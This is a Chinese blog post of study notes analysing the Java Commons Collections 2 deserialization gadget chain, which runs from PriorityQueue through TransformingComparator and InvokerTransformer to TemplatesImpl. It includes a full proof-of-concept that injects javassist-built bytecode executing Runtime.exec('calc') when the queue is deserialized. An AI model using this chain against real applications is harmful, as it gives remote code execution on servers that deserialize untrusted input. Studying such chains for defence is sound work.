JAVA反序列化学习笔记4.Commons Collections2分析

简介: JAVA反序列化学习笔记4.Commons Collections2分析

Log4j2 研究之lookup

看你们也就看个乐子,真分析还得看我宽字节师傅们的。

0x01.前言

同CC1相比,CC2可以触发代码执行,更灵活一些,在版本方面,JDK1.7 和 1.8都可使用, commons-collections需要4.0版本

maven配置为

<dependency> 
 <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId>  
  <version>4.0</version>
</dependency>

还是先来分析一个简单的代码执行后再深入分析

0x02.TemplatesImpl类

该类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

先来一段代码

Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[] files = Files.readAllBytes(Paths.get("E:\\javapro\\serandfor\\src\\main\\java\\com\\seri\\payload.class"));
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(o,b);
Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(o,"test");
Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());
method.invoke(o);

一个基础思路是,通过defineClass去加载一个自定义的class文件的内容,之后实例化,触发代码 执行。在defineTransletClasses函数中调用 内部类TransletClassLoader中的defineClass类

可以看到继承了ClassLoader类,并调用了ClassLoader中的defineClass函数进行类加载操作。

但是defineTransletClasses函数是私有的,无法进行直接调用,所以需要找到一个public口

在本类的getTransletInstance方法中调用了defineTransletClasses,并且将返回的Class对象进行 了实例化操作,就可以触发构造函数和静态代码块中的代码了。

但是该函数还是private,在往上找,在本类的newTransformer方法中调用了 getTransletInstance,并且为public

所以调用流程为TemplatesImpl->newTransformer->getTransletInstance>defineTransletClasses

接下来分析一下为了让代码顺利执行,需要一些属性的赋值,该类的属性大多为private,需使用反射赋值。

先看newTransformer函数,并没有什么需要赋值的就可以执行到getTransletInstance函数了。

getTransletInstance函数中需要让_name 属性不为null即可调用defineTransletClasses函数,其 中_class是一个Class类型数组。

接下来仔细分析一下defineTransletClasses函数。(JDK1.8下)

private void defineTransletClasses() 
  throws TransformerConfigurationException { 
  if (_bytecodes == null) {//_bytecodes属性不能为null 为byte型二维数组 byte[] []_bytecodes 
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); 
    throw new TransformerConfigurationException(err.toString());
 }
 TransletClassLoader loader = (TransletClassLoader) 
    AccessController.doPrivileged(new PrivilegedAction() { 
      public Object run() { 
        //需要对_tfactory属性赋值
        //private transient TransformerFactoryImpl _tfactory = null; 
        //transient代表不对其进行序列化,赋值为TransformerFactoryImpl对象即可 
        return new   
        TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); 
      }
 });
 try {
  final int classCount = _bytecodes.length; 
    _class = new Class[classCount];
    if (classCount > 1) { 
      _auxClasses = new HashMap<>(); 
    }
 for (int i = 0; i < classCount; i++) {
  //循环_bytecodes数组,将每一个byte数组通过defineClass类加载成Class对象 
    _class[i] = loader.defineClass(_bytecodes[i]); 
    final Class superClass = _class[i].getSuperclass(); //获取转换的类的父类信息
  //为了保证后续的实例化,_transletIndex不能小于0,就必须进入下方的if判断 
    //父类的名字必须为ABSTRACT_TRANSLET,值为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) { 
      _transletIndex = i; 
    } 
    else { 
      _auxClasses.put(_class[i].getName(), _class[i]); 
    } 
  }
  if (_transletIndex < 0) { //_transletIndex不能小于0,否则会抛出异常,程序终止, 无法执行到getTransletInstance函数的newInstance语句 
     ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); 
     throw new TransformerConfigurationException(err.toString());
   } 
  } 
  catch (ClassFormatError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
  catch (LinkageError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  }
}

注意一下JDK1.7中其实无需赋值_tfactory属性,因为并没有去调用。

所以我们需要赋值的三个属性为_bytecodes  _name  _tfactory

其中_bytecodes 为我们要构造的类的class文件的byte数组,这个类我们可以随意构造,类实例化 操作后会执行静态代码块和构造函数,我们在其中构造危险代码即可。(注意因为上方代码问题需要使这个类继承AbstractTranslet

最开始读取的class文件代码为

但是这段语句是直接从本地文件读取,在利用上可能较为不方便,所以修改为javassist来动态生成 class类

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); field.set(o,b);
Field field2 = classz.getDeclaredField("_name"); f
 ield2.setAccessible(true); 
field2.set(o,"test");
Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());
method.invoke(o);




到此底层的逻辑构造完成。

0x03.TransformingComparator

这里需要想的是怎么能调用newTransformer函数,这里可以用到CC1中的InvokerTransformer的 transform方法去调用。

只要确保input的值为TemplatesImpl对象,就可以通过反射调用其newTransformer函数。

这时候来看TransformingComparator类,通过构造函数可以指定transformer为 InvokerTransformer,之后在compare函数中调用其transform方法。


对应POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);

之后寻找调用compare方法的位置。

0x04.PriorityQueue

既要调用TransformingComparator类的compare方法,又要确保obj1的值为TemplatesImpl对象。

来看PriorityQueue类,是一个处理队列相关的类。

首先siftDownUsingComparator方法会调用comparator对象的compare方法

siftDown方法中又会调用siftDownUsingComparator方法,

heapify方法中又会调用siftDown方法,

readObject方法中调用了heapify


正向来看就是

PriorityQueue->readObject->heapify->siftDown->siftDownUsingComparator>comparator.compare

POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);
Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);
Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});

PriorityQueue的comparator类型为Comparator接口,而TransformingComparator同样实现了 该接口

所以通过反射将其值改为构造好的TransformingComparator对象,这样就会调用comparator方 法,之后再调用InvokerTransformer的transform方法。

这时候我们需要满足的就是这个c对象的值为TemplatesImpl对象即可。

c的值通过queue数组获取,而queue为Object类型数组

这样通过反射为其赋值为templatesImpl对象数组即可。这样就能保证c的值为templatesImpl对象。

完整POC为

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templatesImpl = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(templatesImpl,b);
Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(templatesImpl,"test");
Field field3 = classz.getDeclaredField("_tfactory"); //这里赋值没有意义 field3.setAccessible(true); 
field3.set(templatesImpl,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);
Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);
Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});
//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); 
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(queue); 
objectOutputStream.close();
//反序列化 
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

执行链为:

->PriorityQueue类
 ->readObject
 ->heapify
 ->siftDown
 ->siftDownUsingComparator
  ->TransformingComparator类
  ->compare
   ->InvokerTransformer类
   ->transform
    ->TemplatesImpl类
    ->newTransformer
    ->getTransletInstance ---->调用完defineTransletClasses后调用newInstance实例化对象,触发静态代码块中的危险代码
    ->defineTransletClasses

0x05.总结

这里还有个问题,TemplatesImpl_tfactory的类型为transient,数据不进行序列化操作,所以我们通过反射给其赋值也没有意义,那如何经过代码呢, 其实在readObject方法中有手动赋值的操作。

再来看PriorityQueue类的queue属性也为transient,默认不进行序列化,但是在readObject方法 中进行取值了。

那这个值是怎么来的呢?是因为在writeObject方法中进行了手动序列化

相关文章
|
28天前
|
存储 Java 开发者
【潜意识Java】深入详细理解分析Java中的toString()方法重写完整笔记总结,超级详细。
本文详细介绍了 Java 中 `toString()` 方法的重写技巧及其重要
49 10
【潜意识Java】深入详细理解分析Java中的toString()方法重写完整笔记总结,超级详细。
|
28天前
|
Java 应用服务中间件 API
【潜意识Java】javaee中的SpringBoot在Java 开发中的应用与详细分析
本文介绍了 Spring Boot 的核心概念和使用场景,并通过一个实战项目演示了如何构建一个简单的 RESTful API。
38 5
|
28天前
|
人工智能 自然语言处理 搜索推荐
【潜意识Java】了解并详细分析Java与AIGC的结合应用和使用方式
本文介绍了如何将Java与AIGC(人工智能生成内容)技术结合,实现智能文本生成。
51 5
|
28天前
|
SQL Java 数据库连接
【潜意识Java】Java中JDBC过时方法的替代方案以及JDBC为什么过时详细分析
本文介绍了JDBC中一些常见过时方法及其替代方案。
41 5
|
28天前
|
Java 数据库连接 数据库
【潜意识Java】深度分析黑马项目《苍穹外卖》在Java学习中的重要性
《苍穹外卖》项目对Java学习至关重要。它涵盖了用户管理、商品查询、订单处理等模块,涉及Spring Boot、MyBatis、Redis等技术栈。
75 4
|
28天前
|
Java 数据库连接 数据库
【潜意识Java】使用 Ruoyi 框架开发企业级应用,从零开始的实践指南和分析问题
本文介绍了基于Spring Boot的开源企业级框架Ruoyi,涵盖环境搭建、项目初始化及用户管理模块的创建。
122 4
|
28天前
|
SQL Java API
|
28天前
|
SQL Java 数据库连接
【潜意识Java】深入理解MyBatis的Mapper层,以及让数据访问更高效的详细分析
深入理解MyBatis的Mapper层,以及让数据访问更高效的详细分析
60 1
|
2月前
|
缓存 算法 搜索推荐
Java中的算法优化与复杂度分析
在Java开发中,理解和优化算法的时间复杂度和空间复杂度是提升程序性能的关键。通过合理选择数据结构、避免重复计算、应用分治法等策略,可以显著提高算法效率。在实际开发中,应该根据具体需求和场景,选择合适的优化方法,从而编写出高效、可靠的代码。
49 6
|
3月前
|
监控 算法 Java
jvm-48-java 变更导致压测应用性能下降,如何分析定位原因?
【11月更文挑战第17天】当JVM相关变更导致压测应用性能下降时,可通过检查变更内容(如JVM参数、Java版本、代码变更)、收集性能监控数据(使用JVM监控工具、应用性能监控工具、系统资源监控)、分析垃圾回收情况(GC日志分析、内存泄漏检查)、分析线程和锁(线程状态分析、锁竞争分析)及分析代码执行路径(使用代码性能分析工具、代码审查)等步骤来定位和解决问题。

热门文章

最新文章